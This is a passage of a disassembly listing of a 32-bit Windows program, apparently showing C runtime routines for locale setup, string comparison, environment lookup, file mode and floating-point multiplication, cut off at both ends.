sub_42EB30 endp ; --------------------------------------------------------------------------- off_42EFB0 dd offset loc_42EE1F ; DATA XREF: sub_42EB30+91r dd offset loc_42ED03 dd offset loc_42EC8E dd offset loc_42EBC8 dd offset loc_42EC06 dd offset loc_42EC67 dd offset loc_42ECB5 dd offset loc_42ECDC dd offset loc_42ED4A dd offset loc_42EC44 dd offset loc_42EF00 byte_42EFDC db 0 ; DATA XREF: sub_42EB30+8Br db 3 dup(0Ah) dd 5 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah dd 4 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A040Ah, 0A0A050Ah, 0A060A0Ah dd 0A0A0A0Ah, 0A0A0807h db 2 dup(0Ah), 9 off_42F02F dd offset loc_42EBE7 ; DATA XREF: sub_42EB30+B0r dd offset loc_42EBF1 dd offset loc_42EBF7 dd offset loc_42EBFD off_42F03F dd offset loc_42EC25 ; DATA XREF: sub_42EB30+EEr dd offset loc_42EC2F dd offset loc_42EC35 dd offset loc_42EC3B align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F050 proc near ; CODE XREF: sub_429860+41p ; sub_429860+60p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0A8h cmp [ebp+arg_0], 1 jnz loc_42F1B9 mov eax, [ebp+arg_C] mov [ebp+var_90], eax lea ecx, [ebp+var_8C] mov [ebp+var_C], ecx mov [ebp+var_4], 0 mov [ebp+var_94], 80h push 0 mov edx, [ebp+var_94] push edx mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_430040 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz loc_42F13F call ds:dword_4942F0 cmp eax, 7Ah jz short loc_42F0C0 jmp loc_42F19D ; --------------------------------------------------------------------------- loc_42F0C0: ; CODE XREF: sub_42F050+69j push 0 push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_430040 add esp, 14h mov [ebp+var_94], eax cmp [ebp+var_94], 0 jnz short loc_42F0EA jmp loc_42F19D ; --------------------------------------------------------------------------- loc_42F0EA: ; CODE XREF: sub_42F050+93j push 58h push offset aInithelp_c ; "inithelp.c" push 2 mov edx, [ebp+var_94] push edx call sub_416A30 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42F110 jmp loc_42F19D ; --------------------------------------------------------------------------- loc_42F110: ; CODE XREF: sub_42F050+B9j mov [ebp+var_4], 1 push 0 mov eax, [ebp+var_94] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_430040 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42F13F jmp short loc_42F19D ; --------------------------------------------------------------------------- loc_42F13F: ; CODE XREF: sub_42F050+5Aj ; sub_42F050+EBj push 63h push offset aInithelp_c ; "inithelp.c" push 2 mov ecx, [ebp+var_8] push ecx call sub_416A30 add esp, 10h mov edx, [ebp+var_90] mov [edx], eax mov eax, [ebp+var_90] cmp dword ptr [eax], 0 jnz short loc_42F169 jmp short loc_42F19D ; --------------------------------------------------------------------------- loc_42F169: ; CODE XREF: sub_42F050+115j mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_C] push edx mov eax, [ebp+var_90] mov ecx, [eax] push ecx call sub_4191A0 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_42F196 push 2 mov edx, [ebp+var_C] push edx call sub_4174C0 add esp, 8 loc_42F196: ; CODE XREF: sub_42F050+136j xor eax, eax jmp loc_42F2D6 ; --------------------------------------------------------------------------- loc_42F19D: ; CODE XREF: sub_42F050+6Bj ; sub_42F050+95j ... cmp [ebp+var_4], 0 jz short loc_42F1B1 push 2 mov eax, [ebp+var_C] push eax call sub_4174C0 add esp, 8 loc_42F1B1: ; CODE XREF: sub_42F050+151j or eax, 0FFFFFFFFh jmp loc_42F2D6 ; --------------------------------------------------------------------------- loc_42F1B9: ; CODE XREF: sub_42F050+Dj cmp [ebp+arg_0], 0 jnz loc_42F2D3 mov [ebp+var_A4], 4 mov ecx, [ebp+arg_C] mov [ebp+var_9C], ecx push 0 mov edx, [ebp+var_A4] push edx push offset byte_4923F0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_42FEA0 add esp, 14h test eax, eax jnz short loc_42F200 or eax, 0FFFFFFFFh jmp loc_42F2D6 ; --------------------------------------------------------------------------- loc_42F200: ; CODE XREF: sub_42F050+1A6j mov edx, [ebp+var_9C] mov byte ptr [edx], 0 mov [ebp+var_A0], 0 jmp short loc_42F224 ; --------------------------------------------------------------------------- loc_42F215: ; CODE XREF: sub_42F050:loc_42F2CAj mov eax, [ebp+var_A0] add eax, 1 mov [ebp+var_A0], eax loc_42F224: ; CODE XREF: sub_42F050+1C3j cmp [ebp+var_A0], 4 jge loc_42F2CF cmp dword_442F58, 1 jle short loc_42F26B push 4 mov ecx, [ebp+var_A0] mov dl, byte_4923F0[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh push eax call sub_41E750 add esp, 8 mov [ebp+var_A8], eax jmp short loc_42F29E ; --------------------------------------------------------------------------- loc_42F26B: ; CODE XREF: sub_42F050+1E8j mov ecx, [ebp+var_A0] mov dl, byte_4923F0[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_A8], edx loc_42F29E: ; CODE XREF: sub_42F050+219j cmp [ebp+var_A8], 0 jz short loc_42F2C8 mov eax, [ebp+var_9C] movsx ecx, byte ptr [eax] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_98] lea eax, [ecx+edx-30h] mov ecx, [ebp+var_9C] mov [ecx], al jmp short loc_42F2CA ; --------------------------------------------------------------------------- loc_42F2C8: ; CODE XREF: sub_42F050+255j jmp short loc_42F2CF ; --------------------------------------------------------------------------- loc_42F2CA: ; CODE XREF: sub_42F050+276j jmp loc_42F215 ; --------------------------------------------------------------------------- loc_42F2CF: ; CODE XREF: sub_42F050+1DBj ; sub_42F050:loc_42F2C8j xor eax, eax jmp short loc_42F2D6 ; --------------------------------------------------------------------------- loc_42F2D3: ; CODE XREF: sub_42F050+16Dj or eax, 0FFFFFFFFh loc_42F2D6: ; CODE XREF: sub_42F050+148j ; sub_42F050+164j ... mov esp, ebp pop ebp retn sub_42F050 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, off_4440D0 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F2F0 proc near ; CODE XREF: sub_42A890+216p ; sub_4316E0+50p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_433CD8 push offset sub_425F84 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4923FC, 0 jnz short loc_42F36E lea eax, [ebp+var_1C] push eax push 1 push offset dword_43301C push 1 call ds:dword_4942C0 test eax, eax jz short loc_42F342 mov dword_4923FC, 1 jmp short loc_42F36E ; --------------------------------------------------------------------------- loc_42F342: ; CODE XREF: sub_42F2F0+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_433018 push 1 push 0 call ds:dword_4942C4 test eax, eax jz short loc_42F367 mov dword_4923FC, 2 jmp short loc_42F36E ; --------------------------------------------------------------------------- loc_42F367: ; CODE XREF: sub_42F2F0+69j xor eax, eax jmp loc_42F549 ; --------------------------------------------------------------------------- loc_42F36E: ; CODE XREF: sub_42F2F0+2Dj ; sub_42F2F0+50j ... cmp dword_4923FC, 1 jnz short loc_42F392 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4942C0 jmp loc_42F549 ; --------------------------------------------------------------------------- loc_42F392: ; CODE XREF: sub_42F2F0+85j cmp dword_4923FC, 2 jnz loc_42F547 cmp [ebp+arg_10], 0 jnz short loc_42F3AD mov eax, dword_492180 mov [ebp+arg_10], eax loc_42F3AD: ; CODE XREF: sub_42F2F0+B3j push 0 push 0 push 0 push 0 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push 220h mov eax, [ebp+arg_10] push eax call ds:dword_4943B0 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_42F3DC xor eax, eax jmp loc_42F549 ; --------------------------------------------------------------------------- loc_42F3DC: ; CODE XREF: sub_42F2F0+E3j mov [ebp+var_4], 0 mov eax, [ebp+var_28] add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_2C], ecx mov edx, [ebp+var_28] push edx push 0 mov eax, [ebp+var_2C] push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42F42E ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_2C], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42F42E: ; CODE XREF: sub_42F2F0+125j cmp [ebp+var_2C], 0 jnz short loc_42F43B xor eax, eax jmp loc_42F549 ; --------------------------------------------------------------------------- loc_42F43B: ; CODE XREF: sub_42F2F0+142j push 0 push 0 mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 220h mov edx, [ebp+arg_10] push edx call ds:dword_4943B0 test eax, eax jnz short loc_42F469 xor eax, eax jmp loc_42F549 ; --------------------------------------------------------------------------- loc_42F469: ; CODE XREF: sub_42F2F0+170j mov [ebp+var_4], 1 mov eax, [ebp+var_28] lea eax, [eax+eax+2] add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_34], esp mov [ebp+var_18], esp mov ecx, [ebp+var_34] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42F4AD ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42F4AD: ; CODE XREF: sub_42F2F0+1A4j cmp [ebp+var_24], 0 jnz short loc_42F4BA xor eax, eax jmp loc_42F549 ; --------------------------------------------------------------------------- loc_42F4BA: ; CODE XREF: sub_42F2F0+1C1j cmp [ebp+arg_14], 0 jnz short loc_42F4C9 mov edx, dword_492170 mov [ebp+arg_14], edx loc_42F4C9: ; CODE XREF: sub_42F2F0+1CEj mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] mov word ptr [ecx+eax*2], 0FFFFh mov edx, [ebp+arg_8] mov eax, [ebp+var_24] mov word ptr [eax+edx*2-2], 0FFFFh mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_14] push edx call ds:dword_4942C4 mov [ebp+var_20], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2-2] cmp edx, 0FFFFh jz short loc_42F528 mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2] cmp edx, 0FFFFh jz short loc_42F52C loc_42F528: ; CODE XREF: sub_42F2F0+222j xor eax, eax jmp short loc_42F549 ; --------------------------------------------------------------------------- loc_42F52C: ; CODE XREF: sub_42F2F0+236j mov eax, [ebp+arg_8] shl eax, 1 push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_426C00 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_42F549 ; --------------------------------------------------------------------------- loc_42F547: ; CODE XREF: sub_42F2F0+A9j xor eax, eax loc_42F549: ; CODE XREF: sub_42F2F0+79j ; sub_42F2F0+9Dj ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42F2F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F560 proc near ; CODE XREF: sub_42AEC0+40p ; sub_42B010+5Fp ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_492168 cmp dword ptr [eax+8], 0 jnz short loc_42F5B3 mov al, 0FFh mov edi, edi loc_42F57C: ; CODE XREF: sub_42F560+28j ; sub_42F560+48j or al, al jz short loc_42F5AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_42F57C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_42F57C sbb al, al sbb al, 0FFh loc_42F5AE: ; CODE XREF: sub_42F560+1Ej movsx eax, al jmp short loc_42F62B ; --------------------------------------------------------------------------- loc_42F5B3: ; CODE XREF: sub_42F560+16j lock inc dword_49274C cmp dword_492748, 0 jg short loc_42F5C7 push 0 jmp short loc_42F5DC ; --------------------------------------------------------------------------- loc_42F5C7: ; CODE XREF: sub_42F560+61j lock dec dword_49274C push 13h call sub_41BC90 mov [esp+10h+var_10], 1 loc_42F5DC: ; CODE XREF: sub_42F560+65j mov eax, 0FFh xor ebx, ebx nop loc_42F5E4: ; CODE XREF: sub_42F560+90j ; sub_42F560+A8j or al, al jz short loc_42F60F mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_42F5E4 push eax push ebx call sub_41AEE0 mov ebx, eax add esp, 4 call sub_41AEE0 add esp, 4 cmp bl, al jz short loc_42F5E4 sbb eax, eax sbb eax, 0FFFFFFFFh loc_42F60F: ; CODE XREF: sub_42F560+86j mov ebx, eax pop eax or eax, eax jnz short loc_42F61F lock dec dword_49274C jmp short loc_42F629 ; --------------------------------------------------------------------------- loc_42F61F: ; CODE XREF: sub_42F560+B4j push 13h call sub_41BD30 add esp, 4 loc_42F629: ; CODE XREF: sub_42F560+BDj mov eax, ebx loc_42F62B: ; CODE XREF: sub_42F560+51j pop ebx pop esi pop edi leave retn sub_42F560 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F630 proc near ; CODE XREF: sub_42B010+11Bp ; sub_42B010+2D4p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] or ecx, ecx jz loc_42F72A mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] lea eax, dword_492168 cmp dword ptr [eax+8], 0 jnz short loc_42F6A1 mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_42F65C: ; CODE XREF: sub_42F630+53j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_42F685 or al, al jz short loc_42F685 inc esi inc edi cmp ah, bh jb short loc_42F674 cmp ah, bl ja short loc_42F674 add ah, dh loc_42F674: ; CODE XREF: sub_42F630+3Cj ; sub_42F630+40j cmp al, bh jb short loc_42F67E cmp al, bl ja short loc_42F67E add al, dh loc_42F67E: ; CODE XREF: sub_42F630+46j ; sub_42F630+4Aj cmp ah, al jnz short loc_42F68F dec ecx jnz short loc_42F65C loc_42F685: ; CODE XREF: sub_42F630+32j ; sub_42F630+36j xor ecx, ecx cmp ah, al jz loc_42F72A loc_42F68F: ; CODE XREF: sub_42F630+50j mov ecx, 0FFFFFFFFh jb loc_42F72A neg ecx jmp loc_42F72A ; --------------------------------------------------------------------------- loc_42F6A1: ; CODE XREF: sub_42F630+21j lock inc dword_49274C cmp dword_492748, 0 jg short loc_42F6B5 push 0 jmp short loc_42F6CE ; --------------------------------------------------------------------------- loc_42F6B5: ; CODE XREF: sub_42F630+7Fj lock dec dword_49274C mov ebx, ecx push 13h call sub_41BC90 mov [esp+10h+var_10], 1 mov ecx, ebx loc_42F6CE: ; CODE XREF: sub_42F630+83j xor eax, eax xor ebx, ebx mov edi, edi loc_42F6D4: ; CODE XREF: sub_42F630+CDj mov al, [esi] or eax, eax mov bl, [edi] jz short loc_42F6FF or ebx, ebx jz short loc_42F6FF inc esi inc edi push ecx push eax push ebx call sub_41AEE0 mov ebx, eax add esp, 4 call sub_41AEE0 add esp, 4 pop ecx cmp eax, ebx jnz short loc_42F705 dec ecx jnz short loc_42F6D4 loc_42F6FF: ; CODE XREF: sub_42F630+AAj ; sub_42F630+AEj xor ecx, ecx cmp eax, ebx jz short loc_42F70E loc_42F705: ; CODE XREF: sub_42F630+CAj mov ecx, 0FFFFFFFFh jb short loc_42F70E neg ecx loc_42F70E: ; CODE XREF: sub_42F630+D3j ; sub_42F630+DAj pop eax or eax, eax jnz short loc_42F71C lock dec dword_49274C jmp short loc_42F72A ; --------------------------------------------------------------------------- loc_42F71C: ; CODE XREF: sub_42F630+E1j mov ebx, ecx push 13h call sub_41BD30 add esp, 4 mov ecx, ebx loc_42F72A: ; CODE XREF: sub_42F630+Bj ; sub_42F630+59j ... mov eax, ecx pop ebx pop esi pop edi leave retn sub_42F630 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0Ch call sub_41BC90 add esp, 4 mov eax, [ebp+8] push eax call sub_42F770 add esp, 4 mov [ebp-4], eax push 0Ch call sub_41BD30 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F770 proc near ; CODE XREF: sub_42BAC0+3Ap ; .text:0042F752p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, dword_4920B0 mov [ebp+var_8], eax cmp dword_493788, 0 jnz short loc_42F78E xor eax, eax jmp loc_42F832 ; --------------------------------------------------------------------------- loc_42F78E: ; CODE XREF: sub_42F770+15j cmp [ebp+var_8], 0 jnz short loc_42F7B6 cmp dword_4920B8, 0 jz short loc_42F7B6 call sub_430240 test eax, eax jz short loc_42F7AD xor eax, eax jmp loc_42F832 ; --------------------------------------------------------------------------- loc_42F7AD: ; CODE XREF: sub_42F770+34j mov ecx, dword_4920B0 mov [ebp+var_8], ecx loc_42F7B6: ; CODE XREF: sub_42F770+22j ; sub_42F770+2Bj cmp [ebp+var_8], 0 jz short loc_42F830 cmp [ebp+arg_0], 0 jz short loc_42F830 mov edx, [ebp+arg_0] push edx call sub_418E70 add esp, 4 mov [ebp+var_4], eax loc_42F7D1: ; CODE XREF: sub_42F770+BEj mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_42F830 mov ecx, [ebp+var_8] mov edx, [ecx] push edx call sub_418E70 add esp, 4 cmp eax, [ebp+var_4] jbe short loc_42F825 mov eax, [ebp+var_8] mov ecx, [eax] mov edx, [ebp+var_4] movsx eax, byte ptr [ecx+edx] cmp eax, 3Dh jnz short loc_42F825 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_8] mov ecx, [eax] push ecx call sub_4301F0 add esp, 0Ch test eax, eax jnz short loc_42F825 mov edx, [ebp+var_8] mov eax, [edx] mov ecx, [ebp+var_4] lea eax, [eax+ecx+1] jmp short loc_42F832 ; --------------------------------------------------------------------------- loc_42F825: ; CODE XREF: sub_42F770+7Aj ; sub_42F770+8Bj ... mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_42F7D1 ; --------------------------------------------------------------------------- loc_42F830: ; CODE XREF: sub_42F770+4Aj ; sub_42F770+50j ... xor eax, eax loc_42F832: ; CODE XREF: sub_42F770+19j ; sub_42F770+38j ... mov esp, ebp pop ebp retn sub_42F770 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_492520 jnb short loc_42F871 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42F881 loc_42F871: ; CODE XREF: .text:0042F84Dj call sub_422F20 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_42F8AF ; --------------------------------------------------------------------------- loc_42F881: ; CODE XREF: .text:0042F86Fj mov edx, [ebp+8] push edx call sub_4280C0 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_42F8C0 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_428150 add esp, 4 mov eax, [ebp-4] loc_42F8AF: ; CODE XREF: .text:0042F87Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F8C0 proc near ; CODE XREF: sub_42C610+D4p ; sub_42C610+1A6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h mov [ebp+var_4], eax cmp [ebp+arg_4], 8000h jnz short loc_42F929 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] mov cl, [eax+edx+4] and cl, 7Fh mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, dword_492420[edx*4] mov [edx+eax+4], cl jmp short loc_42F97A ; --------------------------------------------------------------------------- loc_42F929: ; CODE XREF: sub_42F8C0+2Ej cmp [ebp+arg_4], 4000h jnz short loc_42F96A mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov al, [edx+ecx+4] or al, 80h mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_492420[ecx*4] mov [ecx+edx+4], al jmp short loc_42F97A ; --------------------------------------------------------------------------- loc_42F96A: ; CODE XREF: sub_42F8C0+70j call sub_422F20 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_42F98B ; --------------------------------------------------------------------------- loc_42F97A: ; CODE XREF: sub_42F8C0+67j ; sub_42F8C0+A8j mov eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0FFFFC000h add eax, 8000h loc_42F98B: ; CODE XREF: sub_42F8C0+B8j mov esp, ebp pop ebp retn sub_42F8C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F990 proc near ; CODE XREF: sub_42D6C0+2B5p ; sub_42FDD0+B5p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h mov word ptr [ebp+var_2C], 0 mov [ebp+var_4], 0 mov [ebp+var_14], 0 mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov cx, [eax+0Ah] mov word ptr [ebp+var_18], cx mov edx, [ebp+arg_4] mov ax, [edx+0Ah] mov word ptr [ebp+var_20], ax mov ecx, [ebp+var_18] and ecx, 0FFFFh mov edx, [ebp+var_20] and edx, 0FFFFh xor ecx, edx and ecx, 8000h mov word ptr [ebp+var_2C], cx mov ax, word ptr [ebp+var_18] and ax, 7FFFh mov word ptr [ebp+var_18], ax mov cx, word ptr [ebp+var_20] and cx, 7FFFh mov word ptr [ebp+var_20], cx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_20] and eax, 0FFFFh add edx, eax mov word ptr [ebp+var_30], dx mov ecx, [ebp+var_18] and ecx, 0FFFFh cmp ecx, 7FFFh jge short loc_42FA4D mov edx, [ebp+var_20] and edx, 0FFFFh cmp edx, 7FFFh jge short loc_42FA4D mov eax, [ebp+var_30] and eax, 0FFFFh cmp eax, 0BFFDh jle short loc_42FA84 loc_42FA4D: ; CODE XREF: sub_42F990+9Bj ; sub_42F990+ACj mov ecx, [ebp+var_2C] and ecx, 0FFFFh neg ecx sbb ecx, ecx and ecx, 80000000h add ecx, 7FFF8000h mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 jmp loc_42FDC9 ; --------------------------------------------------------------------------- loc_42FA84: ; CODE XREF: sub_42F990+BBj mov edx, [ebp+var_30] and edx, 0FFFFh cmp edx, 3FBFh jg short loc_42FAB7 mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp loc_42FDC9 ; --------------------------------------------------------------------------- loc_42FAB7: ; CODE XREF: sub_42F990+103j mov eax, [ebp+var_18] and eax, 0FFFFh test eax, eax jnz short loc_42FAFD mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx mov edx, [ebp+arg_0] mov eax, [edx+8] and eax, 7FFFFFFFh test eax, eax jnz short loc_42FAFD mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_42FAFD mov edx, [ebp+arg_0] cmp dword ptr [edx], 0 jnz short loc_42FAFD mov eax, [ebp+arg_0] mov word ptr [eax+0Ah], 0 jmp loc_42FDC9 ; --------------------------------------------------------------------------- loc_42FAFD: ; CODE XREF: sub_42F990+131j ; sub_42F990+14Cj ... mov ecx, [ebp+var_20] and ecx, 0FFFFh test ecx, ecx jnz short loc_42FB59 mov dx, word ptr [ebp+var_30] add dx, 1 mov word ptr [ebp+var_30], dx mov eax, [ebp+arg_4] mov ecx, [eax+8] and ecx, 7FFFFFFFh test ecx, ecx jnz short loc_42FB59 mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jnz short loc_42FB59 mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_42FB59 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 jmp loc_42FDC9 ; --------------------------------------------------------------------------- loc_42FB59: ; CODE XREF: sub_42F990+178j ; sub_42F990+194j ... mov [ebp+var_28], 0 mov [ebp+var_1C], 0 jmp short loc_42FB72 ; --------------------------------------------------------------------------- loc_42FB69: ; CODE XREF: sub_42F990+29Cj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_42FB72: ; CODE XREF: sub_42F990+1D7j cmp [ebp+var_1C], 5 jge loc_42FC31 mov edx, [ebp+var_1C] shl edx, 1 mov [ebp+var_24], edx mov [ebp+var_8], 8 mov eax, 5 sub eax, [ebp+var_1C] mov [ebp+var_34], eax jmp short loc_42FBA1 ; --------------------------------------------------------------------------- loc_42FB98: ; CODE XREF: sub_42F990+28Ej mov ecx, [ebp+var_34] sub ecx, 1 mov [ebp+var_34], ecx loc_42FBA1: ; CODE XREF: sub_42F990+206j cmp [ebp+var_34], 0 jle short loc_42FC23 mov edx, [ebp+arg_0] add edx, [ebp+var_24] mov [ebp+var_38], edx mov eax, [ebp+arg_4] add eax, [ebp+var_8] mov [ebp+var_3C], eax mov ecx, [ebp+var_28] lea edx, [ebp+ecx+var_14] mov [ebp+var_40], edx mov eax, [ebp+var_38] xor ecx, ecx mov cx, [eax] mov edx, [ebp+var_3C] xor eax, eax mov ax, [edx] imul ecx, eax mov [ebp+var_44], ecx mov ecx, [ebp+var_40] push ecx mov edx, [ebp+var_44] push edx mov eax, [ebp+var_40] mov ecx, [eax] push ecx call sub_42C840 add esp, 0Ch mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_42FC0C mov edx, [ebp+var_28] mov ax, word ptr 